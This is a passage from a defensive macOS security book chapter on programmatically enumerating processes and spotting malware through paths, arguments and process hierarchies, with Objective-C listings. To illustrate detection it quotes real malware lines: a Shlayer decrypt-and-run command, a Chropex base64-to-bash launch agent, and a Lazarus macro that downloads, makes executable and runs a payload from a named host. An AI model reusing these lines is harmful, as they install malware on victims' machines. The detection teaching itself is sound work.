
The overwhelming majority of Mac malware 
executes as stand-alone processes continu-

ously running on infected systems. As a result, 
if you generate a list of running processes, it’s 

more than likely to include any malware present on the 
system. Thus, when you’re trying to programmatically 
detect macOS malware, you should start by examining 
processes. In this chapter, we’ll !rst discuss various 
methods of enumerating running processes. Then 
we’ll programmatically extract various information and 
metadata about each running process to uncover anom-
alies commonly associated with malware. This informa- 
tion can include the full path, arguments, architecture,  
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process, hierarchy, code signing information, loaded libraries, open !les, and 
much more.

Of course, the fact that a malicious process shows up in a listing doesn’t 
immediately allow you to determine that the process is indeed malicious. 
This is increasingly true as malware authors seek to masquerade their 
malicious creations as benign.

Most of the code snippets presented in this chapter are from the 
 enumerateProcesses project, whose code you can download from this book’s 
GitHub repository. When executed with no arguments, this tool will display 
information about all running processes on your system; when executed 
with a process ID, it retrieves information about the speci!ed process. To 
query a process, the privilege levels of your running code must match or 
exceed those of the target process, so security tools like this one often run 
with root privileges.

Process Enumeration
The easiest way to enumerate all processes on macOS is via libproc APIs 
such as proc_listallpids. As its name suggests, this API provides a list con-
taining the process ID (pid) of each running process. As arguments, it 
takes an output buffer and the size of this buffer. It will populate the buf-
fer with the process IDs of all running processes and return the number of 
running processes.

How will you know how big the output buffer should be? One strategy is 
to !rst invoke the API with NULL and 0 as arguments. This will cause the func-
tion to return the number of currently running processes, which you can 
then use to allocate a buffer for subsequent calls. However, if a new process is 
spawned in the middle of this action, the API may fail to return its process ID.

Thus, it’s better just to allocate a buffer to hold the maximum number 
of possible running processes. Modern versions of macOS can generally 
hold several thousands of processes, but this number can be higher (or 
lower) depending on the specs of the system. Due to this variability, you’ll 
want to dynamically retrieve this maximum number from the kern.maxproc 
system variable via the sysctlbyname API (Listing 1-1).

#import <libproc.h>
#import <sys/sysctl.h> 

int32_t processesCount = 0;
size_t length = sizeof(processesCount);

sysctlbyname("kern.maxproc", &processesCount, &length, NULL, 0);

Listing 1-1: Dynamically retrieving the maximum number of running processes

Now that we have the maximum number of possible running processes, 
we simply allocate a buffer of this size multiplied by the size of each process 
ID. Then we invoke the proc_listallpids function (Listing 1-2).
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pid_t* pids = calloc((unsigned long)processesCount, sizeof(pid_t));
processesCount = proc_listallpids(pids, processesCount*sizeof(pid_t));

Listing 1-2: Generating a list of process identifiers for running processes

Now we can add print statements and then execute this code:

% ./enumerateProcesses
Found 450 running processes

PIDs: (
    53355,
    53354,
    53348,
    ...
    517,
    515,
    514,
    1,
    0
)

The code should return a list containing the process IDs of all running 
processes, as you can see from this run of the enumerateProcesses project.

Audit Tokens
Although process IDs are used system-wide to identify processes, they 
can be reused once a process exits, leading to a race condition where the 
process ID no longer references the original process. The solution to the 
process ID race condition issue is to use the process’s audit token, a unique 
value that is never reused. In subsequent chapters, you’ll see how macOS 
sometimes directly provides you with an audit token, for example, when a 
process is attempting to connect to a remote XPC endpoint or in a message 
from Endpoint Security. However, you can also obtain a processes audit 
token directly from an arbitrary process.

You’ll !nd the code to obtain an audit token in a function named 
 getAuditToken in the enumerateProcesses project. Given a process ID, this func-
tion returns its audit token (Listing 1-3).

NSData* getAuditToken(pid_t pid) {
    task_name_t task = {0};
    audit_token_t token = {0};
    mach_msg_type_number_t infoSize = TASK_AUDIT_TOKEN_COUNT;

  1 task_name_for_pid(mach_task_self(), pid, &task);
  2 task_info(task, TASK_AUDIT_TOKEN, (integer_t*)&token, &infoSize);
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  3 return [NSData dataWithBytes:&token length:sizeof(audit_token_t)];
}

Listing 1-3: Obtaining an audit token for a process

First, the function declares required variables, including one of type 
audit_token_t to hold the audit token. It then invokes the task_name_for_pid 
API to obtain a Mach task for the speci!ed process 1. You need this task 
for the call to task_info, which will populate a passed-in variable with the 
process’s audit token 2. Finally, the audit token is converted into a more 
manageable data object 3 and returns it to the caller.1

Of course, a list of process IDs or audit tokens won’t tell you which, if 
any, are malicious. Still, you can now extract a myriad of valuable informa-
tion. The next section starts with an easy one: retrieving the full path for 
each process.

Paths and Names
One simple way to look up the full path for a process from its process ID 
is via the proc_pidpath API. This API takes the ID of the process, an output 
buffer for the path, and the size of the buffer. You can use the constant 
PROC_PIDPATHINFO_MAXSIZE to ensure the buffer is large enough to hold the 
path, as shown in Listing 1-4.

char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE);

Listing 1-4: Retrieving the path of a process

There are also other ways to obtain the path of a process, some of which 
don’t require a process ID. We’ll cover an alternative approach in Chapter 3, 
as it requires an understanding of various concepts related to code signing.

Once you’ve obtained a process’s path, you can use it to perform vari-
ous checks that can help you determine whether the process is malicious. 
These checks can range from trivial, such as seeing whether the path 
contains hidden components, to more involved (for example, perform-
ing an in-depth analysis of the binary speci!ed in the path). This chapter 
considers hidden path components, while the next chapter dives into full 
binary analysis.

Identifying Hidden Files and Directories
Information from the path can directly reveal anomalies. For example, a path 
containing either a directory or !le component that is pre!xed with a dot (.)  
will be hidden in the user interface and from various command line tools 
by default. (Of course, there are ways to view hidden items, for example, via 
the ls command executed with the -a #ag.) From the malware’s perspective, 
remaining hidden is a good thing. However, this becomes a powerful detec-
tion heuristic, as benign processes are rarely hidden.
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There are many examples of Mac malware executing from hidden 
directories or that are hidden themselves. For example, the cyber-espionage 
implant known as DazzleSpy,2 discovered in early 2022, persistently installs 
itself as a binary named softwareupdate in a hidden directory named .local. In 
a process listing, this directory sticks out like a sore thumb:

% ./enumerateProcesses
Found 450 running processes

(57312):/Applications/Signal.app/Contents/MacOS/Signal
(41461):/Applications/Safari.app/Contents/MacOS/Safari
(40214):/Users/User/.local/softwareupdate
(29853):/System/Applications/Messages.app/Contents/MacOS/Messages
(11242):/System/Library/CoreServices/Dock.app/Contents/MacOS/Dock
...
(304):/usr/libexec/UserEventAgent
(1):/sbin/launchd

Of course, any heuristic-based approach is bound to have false posi-
tives, and you’ll occasionally encounter legitimate software that hides itself. 
For example, my Wacom drawing tablet creates a hidden directory, .Tablet, 
from which it persistently runs various programs.

Obtaining the Paths of Deleted Binaries
On macOS, nothing stops a process from deleting the on-disk binary that 
backs it. Malware authors are aware of this option and may craft a program 
that self-deletes by stealthily removing its binary from the !lesystem to hide 
it from !le scanners, thus complicating analysis. You can see an example of 
this anomalous behavior in Mac malware such as KeRanger and NukeSped, 
the latter of which was used in the infamous 3CX supply chain attack.3

Let’s take a closer look at KeRanger, ransomware whose sole purpose 
is to encrypt a victim’s !les and demand a ransom. As it performs both 
actions in a single execution of the process, it doesn’t need to keep its 
binary around once spawned. If you look at the disassembly of its main 
function, you can see that KeRanger’s !rst action is to delete itself via a call 
to the unlink API:

int main(int argc, const char* argv[]) {
    ...
    unlink(argv[0]);

If a security tool obtains the process ID of the KeRanger process (per-
haps because the ransomware’s actions triggered a detection heuristic), 
path recovery APIs such as proc_pidpath and SecCodeCopyPath will fail. The !rst 
of these APIs, which normally returns the length of the process’s path, will 
in this case return zero with errno set to ENOENT, whereas SecCodeCopyPath will 
directly return kPOSIXErrorENOENT. This will tell you that the process’s binary 
has been deleted, which itself is a red #ag, as benign processes normally 
don’t self-delete.
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If you still want to recover the path of the now-deleted binary, your 
options are unfortunately rather limited. One approach is to extract the 
path directly from the process’s arguments. We’ll cover this option shortly, 
in “Process Arguments” on page 9. It’s worth noting, however, that once a 
process is launched, there is nothing stopping the process from modifying 
its arguments, including its path. Thus, the recovered path may have been 
surreptitiously modi!ed to no longer point to the self-deleted binary.

Validating Process Names
Malware authors know that their malicious programs will show up in 
Apple’s built-in Activity Monitor, where even a casual user may stumble 
across an infection simply by noticing a strange process name. As such, Mac 
malware often attempts to masquerade as either core macOS components 
or popular third-party software. Let’s illustrate this with two examples.

Uncovered in early 2021, ElectroRAT is a remote access tool (RAT) 
that targets cryptocurrency users.4 It attempts to blend in by naming itself 
.mdworker. On older versions of macOS, you’d often !nd several legitimate 
instances of Apple’s metadata server worker (mdworker) running. Malware can 
use this same name to avoid arousing suspicion, at least in the casual user.

Luckily, thanks to code signing (discussed brie#y later in the chapter 
and in full detail in Chapter 3), you can check that a process’s code signing 
information matches its apparent creator. For example, it is easy to detect 
that ElectroRAT’s .mdworker binary is suspicious. First, it isn’t signed by 
Apple, meaning it wasn’t created by developers in Cupertino. A binary that 
matches the name of a well-known macOS process but doesn’t belong to 
Apple is more than likely malware. Finally, because its name begins with a 
dot, ElectroRAT’s process !le is also hidden, providing yet another red #ag.

Another example is CoinMiner, a surreptitious cryptocurrency miner 
that leverages the Invisible Internet Project (I2P) for its encrypted com-
munications. The network component that implements the I2P logic is 
named com . adobe . acc . network to mimic Adobe software, which is notorious 
for installing a myriad of daemons. By checking the process’s code signing 
information, you can see that Adobe hasn’t signed the binary.

You may now be wondering how to determine a process’s name. For 
nonapplication processes, such as command line programs or system 
daemons, this name usually corresponds to the !le component. You can 
retrieve this component via the lastPathComponent instance property if the 
full path is stored in a string or URL object. The code in Listing 1-5, for 
example, extracts ElectroRAT’s process name, .mdworker, and stores this in 
the variable name.

NSString* path = @"/Users/User/.mdworker";
NSString* name = path.lastPathComponent;

Listing 1-5: Extracting ElectroRAT’s process name

If the process is an application, you can instantiate an NSRunning 
Application object via the runningApplicationWithProcessIdentifier: method. 
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This object will provide, among other things, the path to its application 
bundle in the bundleURL instance property. The bundle contains a wealth of 
information, but what’s most relevant here is the app’s name. Listing 1-6, 
from the getProcessName function in the enumerateProcesses project, illustrates 
how to do this for a given process ID.

NSRunningApplication* application =
[NSRunningApplication runningApplicationWithProcessIdentifier:pid];
if(nil != application) {
    NSBundle* bundle = [NSBundle bundleWithURL:application.bundleURL];
    NSString* name = bundle . infoDictionary[@"CFBundleName"];
}

Listing 1-6: Extracting an application name

From the NSRunningApplication object, we create an NSBundle object and then 
extract the application’s name from the bundle’s infoDictionary instance prop-
erty. If the process isn’t an application, the NSRunning Application instantiation 
will gracefully fail.

Process Arguments
Extracting and examining the arguments of each running process can shed 
valuable light on the actions of the process. They might also seem suspi-
cious in their own right. An installer for the notorious Shlayer malware pro-
vides an illustrative example. It executes a bash shell with these arguments:

"tail -c +1381 \"/Volumes/Install/Installer.app/Contents/Resources/main.png\" |
openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass
\"pass:0.6effariGgninthgiL0.6\" && chmod 777 /tmp/ZQEifWNV2l ... && rm -rf /tmp/ZQEifWNV2l"

These arguments instruct bash to execute various shell commands 
that extract bytes from a !le masquerading as an image named main.png, 
decrypt them to a binary named ZQEifWNV2l, then execute and delete this 
binary. Though bash itself is not malicious, the programmatic extraction of 
encrypted, executable contents from a .png !le indicates that something sus-
picious is afoot; installers don’t normally perform such obtusely obfuscated 
actions. We’ve also gained insight into the activities the installer takes.

Another example of a program with clearly suspicious arguments is 
Chropex, also known as ChromeLoader.5 This malware installs a launch 
agent to persistently execute Base64-encoded commands. A report from 
CrowdStrike6 shows an example of a Chropex launch agent, with a snippet 
reproduced here:

<key>ProgramArguments</key>
<array>
    <string>sh</string>
    <string>-c</string>
    <string>echo aWYgcHMg ... Zmk= | base64 --decode | bash</string>
</array>
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The last argument string, beginning with echo, consists of an encoded 
blob and a command to decode and then execute it via bash. It goes with-
out saying that such an argument is unusual and a symptom that something 
is amiss (for example, that the system is persistently infected with malware). 
Once a detection program encounters this launch agent and extracts its 
very suspicious arguments, the program should raise a red #ag.

As I mentioned earlier, extracting a program’s runtime arguments may 
provide insight into its functionality. For example, a surreptitious crypto-
currency miner found in the of!cial Mac App Store masqueraded as an 
innocuous Calendar application (Figure 1-1).

Figure 1-1: An innocuous calendar application, or something else?

To see that this app does more than meets the eye, we can examine 
process arguments. When the Calendar 2 application, CalendarFree.app, 
was executed, it would spawn a an embedded child program from within 
the Coinstash_XMRSTAK framework named xmr-stak with the following 
arguments:

"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKj ... 6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix . com",
...

Based on values like "--currency" and "monero", even casual readers should 
be able to tell that xmr-stak is a cryptocurrency miner. Although xmr-stak is a 
legitimate command line application, its surreptitious deployment via a free 
Calendar application hosted on Apple’s Mac App Store crosses a line.
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N O T E  After I published a detailed blog post about this application,7 Apple removed the app 
and updated the App Store’s Terms and Conditions to explicitly ban on-device mining.8

Finally, extracting a process’s arguments can aid you if you decide the 
process is suspicious and requires further analysis. For example, in early 
2023, I discovered a malicious updater with ties to the proli!c Genieo mal-
ware family that had remained undetected for almost !ve years.9 It turns 
out, though, that the persistent updater, named iWebUpdate, won’t execute 
its core logic unless it’s invoked with the correct arguments (such as update, 
along with C= and then a client identi!er).

This means that if you’re attempting to analyze the iWebUpdate binary 
in a debugger and execute it without the expected arguments, it will simply 
exit. While static analysis methods such as reverse engineering could reveal 
these required arguments, it’s far simpler to extract them from the persis-
tently running updater process on an infected system.

So, how do you retrieve the arguments of an arbitrary process? One 
way is via the sysctl API invoked with KERN_PROCARGS2. The enumerateProcesses 
project takes this approach in the aptly named getArguments function. Given 
an arbitrary process ID, this function will extract and return its arguments. 
The function is rather involved, so I’ll break it into sections, starting with 
the calls to the sysctl API (Listing 1-7).

int mib[3] = {0};
int systemMaxArgs = 0;

size_t size = sizeof(systemMaxArgs);

mib[0] = CTL_KERN;
mib[1] = KERN_ARGMAX;

1 sysctl(mib, 2, &systemMaxArgs, &size, NULL, 0);

2 char* arguments = malloc(systemMaxArgs);

Listing 1-7: Allocating a buffer for process arguments

This API requires an output buffer to hold the process arguments, so 
we !rst invoke it with KERN_ARGMAX to determine their maximum size 1. Here, 
we specify this information in a management information base (MIB) array, 
whose number of elements are also passed as an argument to sysctl. Then we 
allocate a buffer of the correct size 2.

With the buffer allocated, we can now reinvoke the sysctl API. First, 
though, we reinitialize the MIB array with values such as KERN_PROCARGS2 
and the ID of the process whose arguments we’re interested in obtaining 
(Listing 1-8).

size = (size_t)systemMaxArgs;

mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
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mib[2] = processID;

sysctl(mib, 3, arguments, &size, NULL, 0);

Listing 1-8: Retrieving a process’s arguments

After this call, the buffer will contain the process arguments, among 
other things. Table 1-1 describes the structure of the buffer.

Table 1-1: The Format of a KERN_PROCARGS2 Buffer

Number of arguments Process path Arguments

int argc <full path of process> char* argv[0], argv[1], and so on

First, we can extract the number of arguments (traditionally called 
argc). You can skip over the process path to get to the beginning of the 
arguments (traditionally called argv), unless you have been unable to obtain 
the process path in another way. Each argument is NULL terminated, making 
extraction straightforward. The code in Listing 1-9 shows how to do this by 
saving each argument as a string object in an array. Note that the arguments 
variable is the now-populated buffer passed to the sysctl API in Listing 1-9.

int numberOfArgs = 0; 
NSMutableArray* extractedArguments = [NSMutableArray array];

1 memcpy(&numberOfArgs, arguments, sizeof(numberOfArgs));
2 parser = arguments + sizeof(numberOfArgs);

3 while(NULL != *++parser);
4 while(NULL == *++parser);

while(extractedArguments . count < numberOfArgs) {
  5 [extractedArguments addObject:[NSString stringWithUTF8String:parser]];
    parser += strlen(parser) + 1;
}

Listing 1-9: Parsing process arguments

The code !rst extracts the number of arguments (found at the start of 
the argument’s buffer) 1. Then it skips over this value 2, the bytes of the 
path 3, and any trailing NULL bytes 4. Now the parser pointer is at the start 
of the actual arguments (argv), which the code extracts one by one 5. It’s 
worth noting that the !rst argument, argv[0], will always be the program 
path unless the process has surreptitiously modi!ed itself.

If we execute the enumerateProcesses project, it should display the follow-
ing information when it encounters the aforementioned xmr-stak process 
(shown here with a process ID of 14026), which surreptitiously mines cryp-
tocurrency if an unsuspecting user has launched CalendarFree.app:

% ./enumerateProcesses
...
(14026):/Applications/CalendarFree.app/Contents/Frameworks/
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Coinstash_XMRSTAK.framework/Resources/xmr-stak
...
arguments: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.
framework/Resources/xmr-stak",
"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:3333",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYjfw
6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix . com",
...
)

It’s rather unusual for a process to be launched with such extensive argu-
ments. Additionally, these arguments clearly allude to the fact that the pro-
cess is a cryptocurrency miner. We can bolster this conclusion with the fact 
that its parent, CalendarFree.app, consumes massive amounts of CPU power, as 
you’ll see later in this chapter.

Process Hierarchies
Process hierarchies are the relationships between processes (for example, 
between a parent and its children). When detecting malware, you’ll need an 
accurate representation of these relationships for several reasons. First, pro-
cess hierarchies can help you detect initial infections. Process hierarchies 
can also reveal dif!cult-to-detect malware that is leveraging system binaries 
in a nefarious manner.

Let’s look at an example. In 2019, the Lazarus advanced persistent 
threat (APT) group was observed using macro-laden Of!ce documents  
to target macOS users. If a user opened the document and allowed the  
macros to run, the code would download and execute malware known as 
Yort. Here is a snippet of the macro used in the attack:

sur = "https:// nzssdm . com / assets / mt .dat"
spath = "/tmp/": i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12
spath = spath

1 res = system("curl -o " & spath & " " & sur)
2 res = system("chmod +x " & spath)
3 res = popen(spath, "r")
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As the macro code isn’t obfuscated, it is easy to understand. After 
downloading a !le from https://nzssdm.com/assets/mt.dat to the /tmp directory  
via curl 1, it sets permissions to executable 2 and then executes the down-
loaded !le, mt.dat 3. Figure 1-2 illustrates this attack from the perspective 
of a process hierarchy.

/Applications/Word.app

Process identifier: 1000

Parent

/usr/bin/curl

Process identifier: 1001

/bin/chmod

Process identifier: 1002

Process identifier: 1001
Parent process identifier: 1000

Parent process identifier: 1000

Child

Child

/tmp/<path to malware>

Process identifier: 1003
Parent process identifier: 1000

Child

Figure 1-2: A simplified process hierarchy of a Lazarus  
group attack

Although this diagram is slightly simpli!ed (omitting forks and using 
symbolic values for process IDs), it accurately depicts the fact that curl, 
chmod, and the malware all appear as child processes of Microsoft Word. Do 
Word documents normally spawn curl to download and launch binaries? 
Of course not! Even if you can’t tell what exactly these child processes are 
doing, the fact that an Of!ce document spawns them is a clear indicator of 
an attack. Moreover, without a process hierarchy, detecting this aspect of 
the infection would be relatively dif!cult, as curl and chmod are legitimate 
system binaries.10

Finding the Parent
Process hierarchies are built from the child up, through the parent, grand-
parent, and so on. At face value, we can easily generate a hierarchy for a 
given process via the e_ppid member of its kp_eproc structure, found in the 
kinfo_proc structure. These structures, found in sys/sysctl.h, are shown here:
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struct kinfo_proc {
    struct  extern_proc kp_proc;    /* proc structure */
    struct  eproc {
        struct  proc* e_paddr;      /* address of proc */
        ...
        pid_t   e_ppid;             /* parent process id */
        ...
    } kp_eproc;
};

The e_ppid is the parent process ID, and we can extract it via the 
sysctl API, as in the getParent function in the enumerateProcesses project 
(Listing 1-10).

pid_t parent = -1;

struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, processID};

sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0);
parent = processStruct.kp_eproc.e_ppid;

Listing 1-10: Extracting a parent’s process ID

The code !rst initializes various arguments, including an array with val-
ues that instruct the system to return information about a speci!ed process. 
The sysctl API will ful!ll this request, returning a populated kinfo_proc 
structure. We then extract the process’s parent ID from it.

Here is the output from enumerateProcesses when it encounters the 
instance of curl spawned by a malicious document:

% ./enumerateProcesses
...
(2286):/usr/bin/curl
...
parent: /Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word (2283)

The code was readily able to identify the parent process as Microsoft Word.
Unfortunately, the process hierarchies built using this e_ppid value 

often aren’t this useful because the value often reports a parent process ID 
of 1, which maps to launchd, the process tasked with starting each and every 
process. To observe this behavior, launch an application such as Calculator 
via Spotlight, Finder, or the Dock. Then use the ps utility with the ppid com-
mand line, passing it the process’s ID. You should see that its parent ID (PPID) 
is, in fact, 1:

% ps aux
USER     PID  ... COMMAND
Patrick  2726 ... /System/Applications/Calculator.app/Contents/MacOS/Calculator
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% ps aux -o ppid 2726
USER      PID     ...    PPID
Patrick   27264   ...    1

The enumerateProcesses utility reports the same rather unhelpful 
information:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd

Although launchd technically is the parent, it doesn’t give us the infor-
mation we need to detect malicious activity. We’re more interested in the 
process responsible for starting the child.

Returning the Process Responsible for Spawning Another
To return the process responsible for spawning another process, we can 
leverage a private Apple API, responsibility_get_pid_responsible_for_pid. It 
takes a process ID and returns the parent it deems responsible for the child. 
Though the internals of this private API are beyond the scope of this dis-
cussion, it essentially queries the kernel, which maintains a record of the 
responsible parent within an internal process structure.

As it’s not a public API, we must dynamically resolve it using the dlsym API. 
Listing 1-11, from the getResponsibleParent function in the enumerateProcesses 
project, shows the code that implements this task.

#import <dlfcn.h>

pid_t getResponsibleParent(pid_t child) {
    pid_t (*getRPID)(pid_t pid) =
    dlsym(RTLD_NEXT, "responsibility_get_pid_responsible_for_pid");
    ...

Listing 1-11: Dynamically resolving a private function

This code resolves the function by name, storing the result into a func-
tion pointer named getRPID. Because this function takes a pid_t as its only 
argument and returns the responsible process ID as a pid_t as well, you can 
see the function pointer declared as pid_t (*getRPID)(pid_t pid). 

After checking to make sure the function was indeed found, we can 
invoke it via the function pointer, as shown in Listing 1-12.

if(NULL != getRPID) {
    pid_t parent = getRPID(child);
}

Listing 1-12: Invoking a resolved function
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Now, when enumerateProcesses encounters a child process, such as one of 
Safari’s XPC Web Content renders (shown as Safari Web Content or com.apple 
.WebKit.WebContent), the code in enumerateProcesses looks up both the parent 
and the responsible process:

% ./enumerateProcesses
...
(10540)/System/Library/Frameworks/WebKit.framework/Versions/A/
XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/
com.apple.WebKit.WebContent
...
parent: (1) launchd
responsible parent: (8943) Safari

It accomplishes the former by checking the process’s e_ppid and the lat-
ter by calling the responsibility_get_pid_responsible_for_pid API. In this case, 
the responsible process provides more context and so is more valuable for 
building accurate process hierarchies.

Unfortunately, for user-launched applications (which could include 
malware), this responsible parent may simply be the process itself. To see 
this, launch the Calculator application by double-clicking its application 
icon in Finder. Then run enumerateProcesses once again:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator

Rather unhelpfully, the utility identi!es the responsible parent as 
Calculator itself. Luckily, there is one more place we can look for this 
 information, though we must step back in time.

Retrieving Information with Application Services APIs
Although of!cially deprecated, Apple’s Application Services APIs function 
on the latest versions of macOS, and various Apple daemons still use them. 
The Process InformationCopyDictionary Application Services API returns a dic-
tionary containing a host of information, including a process’s true parent.

Rather than taking a process ID as an argument, this API takes a process 
serial number (psn). Process serial numbers are a predecessor to the more 
familiar process IDs. The process serial type is ProcessSerialNumber, which 
is de!ned in include/MacTypes.h. To retrieve a process serial number from a 
given process ID, use the GetProcessForPID function, as shown in Listing 1-13.

#import <AppKit/AppKit.h> 
pid_t pid = <some process id>;

ProcessSerialNumber psn = {kNoProcess, kNoProcess};
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GetProcessForPID(pid, &psn);

printf("Process Serial Number (high, low): %d %d\n", psn.highLongOfPSN, psn.lowLongOfPSN);

Listing 1-13: Retrieving a process’s serial number

The function takes a process ID and an out pointer to a ProcessSerial 
Number, which it populates with the process’s serial number.

You can !nd the logic to retrieve a parent ID via a serial number in a 
 function named getASParent in the enumerateProcesses project. Listing 1-14  
contains a snippet of this function, which also shows it invoking the 
ProcessInformationCopyDictionary function to obtain information about the 
speci!ed process.

NSDictionary* processInfo = nil;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);

processInfo = CFBridgingRelease(ProcessInformationCopyDictionary(&psn,
(UInt32)kProcessDictionaryIncludeAllInformationMask));

Listing 1-14: Obtaining a process’s information dictionary

One thing to keep in mind is that older APIs that return CoreFoundation 
objects do not use automatic reference counting (ARC). This means that 
you have to explicitly instruct the runtime on how to manage objects to 
avoid memory leaks. Here, this means that the returned process informa-
tion dictionary from the call to ProcessInformationCopyDictionary must be 
either explicitly released via a call to CFRelease or bridged into an NSDictionary 
object and released into ARC via a call to CFBridgingRelease. The code opts 
for the latter option, as working with NS* objects is easier than working with 
the older CF* objects and avoids having to explicitly free the memory.

After we’ve bridged the CFDictionaryRef dictionary into an NSDictionary 
object, we can directly access its key-value pairs, including the process’s par-
ent. The parent’s process serial number is found in the ParentPSN key. As its 
type is kCFNumberLongLong (long long), you must reconstruct the process serial 
number manually (Listing 1-15).

ProcessSerialNumber ppsn = {kNoProcess, kNoProcess};

ppsn.lowLongOfPSN = [processInfo[@"ParentPSN"] longLongValue] & 0x00000000FFFFFFFFLL;
ppsn.highLongOfPSN = ([processInfo[@"ParentPSN"] longLongValue] >> 32) & 0x00000000FFFFFFFFLL;

Listing 1-15: Reconstructing a parent’s process serial number

Once we have the parent’s process serial number, we can retrieve details 
about it by reinvoking the ProcessInformationCopyDictionary API (this time, of 
course, with the parent’s process serial number). This provides us with its 
process ID, path, name, and more. Here, we’re most interested in a process 
ID, which we can !nd within a key named pid.
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It’s worth noting that obtaining a process serial number will fail for 
system or background processes. Production code should account for this 
case by, for example, checking the return value of GetProcessForPID or see-
ing whether the ParentPSN key is nonexistent or contains a value of zero. 
Additionally, Application Services APIs should not be invoked from back-
ground processes, such as daemons or system extensions.

Recall that when we launched Calculator, the previously discussed 
methods failed to ascertain its true parent (instead returning launchd or 
itself). How does the Application Services APIs’ approach fare? First, let’s 
return to the instance of Calculator launched via Finder:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator
application services parent: (21264) Finder

Success! The code now correctly identi!es Finder as the process that 
instigated the Calculator app’s launch. Similarly, if Calculator is launched 
via the Dock or Spotlight’s search bar, the code will be able to identify each 
of these as well.

You might be wondering why this section discussed so many different 
methods of determining the most useful parent of a process. This is because 
none of the methods are foolproof, so you’ll often need to combine them. 
To start, using the Application Services APIs seems to produce the most rel-
evant results. However, calls to GetProcessForPID can fail for certain processes. 
In this case, it’s wise to fall back on responsibility_get_pid_responsible_for_pid. 
But, as you saw, this can sometimes return a parent that is the process itself, 
which isn’t helpful. In that case, you may want to fall back on the good old 
e_ppid. And though that often just reports the parent as launchd, it works in 
many other cases. For example, in the Lazarus attack discussed earlier, it 
correctly identi!ed Word as curl’s parent.11

Environment Information
Now that you know how to generate a true process tree, let’s look at how to 
gather information about a process’s environment. You may be familiar with 
one way to do this: using the launchctl utility, which has a procinfo command 
line option that returns a process’s arguments, code signing information, 
runtime environment, and more. Though earlier we discussed other methods 
for gathering some of this information, launchctl can provide an additional 
source and includes information unavailable through other methods.

Unfortunately, launchctl is not open source, nor are its internals docu-
mented. In this section, we reverse engineer the procinfo option and reimple-
ment its logic in our own tools to retrieve information about any process. 
You’ll !nd this open source implementation in this chapter’s procInfo project.
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N O T E  The code in this section was inspired by research from Jonathan Levin.12 I’ve updated 
his approach for newer versions of macOS.

Before we walk through the code found in the procInfo project, let’s sum-
marize the approach: we have to make a call to the launchd bootstrap pipe 
using the private xpc_pipe_interface_routine function. Invoking this function 
with ROUTINE_DUMP_PROCESS (0x2c4) and an XPC dictionary containing both the 
process ID of the target process and a shared-memory out buffer will return 
the process information you seek. The code !rst declares several variables 
needed to make the XPC query (Listing 1-16).

xpc_object_t procInfoRequest = NULL;
xpc_object_t sharedMemory = NULL;
xpc_object_t __autoreleasing response = NULL;

int result = 0;
int64_t xpcError = 0;
void* handle = NULL;
uint64_t bytesWritten = 0;
vm_address_t processInfoBuffer = 0;

static int (*xpc_pipe_interface_routine_FP)
1 (xpc_pipe_t, int, xpc_object_t, xpc_object_t*, int) = NULL;

2 struct xpc_global_data* globalData = NULL;
3 size_t processInfoLength = 0x100000;

Listing 1-16: Declaring required variables

These variables include, among others, a function pointer (which will 
later hold the address of the private xpc_pipe_interface_routine) 1, a pointer 
to a global XPC data structure 2, and a length extracted from reversing 
launchctl 3.

We then create a shared memory object via a call to the xpc_shmem_create 
API. The XPC call will populate this with information about the target pro-
cess we’re querying (Listing 1-17).

vm_allocate(mach_task_self(), &processInfoBuffer,
processInfoLength, VM_FLAGS_ANYWHERE|VM_FLAGS_PURGABLE);

sharedMemory = xpc_shmem_create((void*)processInfoBuffer, processInfoLength);

Listing 1-17: Creating a shared memory object

Next, we create and initialize an XPC dictionary. This dictionary must 
contain the ID of the process we’re querying, as well as the shared memory 
object we’ve just created (Listing 1-18).
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pid_t pid = <some process id>;
procInfoRequest = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64(procInfoRequest, "pid", pid);
xpc_dictionary_set_value(procInfoRequest, "shmem", sharedMemory);

Listing 1-18: Initializing an XPC request dictionary

The code then retrieves a global data object of type xpc_global_data* 
from the os_alloc_once_table array (Listing 1-19).

struct xpc_global_data
{
    uint64_t a;
    uint64_t xpc_flags;
    mach_port_t task_bootstrap_port;
    xpc_object_t xpc_bootstrap_pipe;
};

struct _os_alloc_once_s
{
    long once;
    void* ptr;
};

extern struct _os_alloc_once_s _os_alloc_once_table[];

globalData = (struct xpc_global_data*)_os_alloc_once_table[1].ptr;

Listing 1-19: Extracting global data

This object contains an XPC pipe (xpc_bootstrap_pipe) that is required 
for calls to the xpc_pipe_interface_routine function. Because this function is 
private, we must dynamically resolve it from the libxpc library (Listing 1-20).

#import <dlfcn.h>
...
handle = dlopen("/usr/lib/system/libxpc.dylib", RTLD_LAZY);
xpc_pipe_interface_routine_FP = dlsym(handle, "_xpc_pipe_interface_routine");

Listing 1-20: Resolving a function pointer

Finally, we’re prepared to make the XPC request. As noted, we use the 
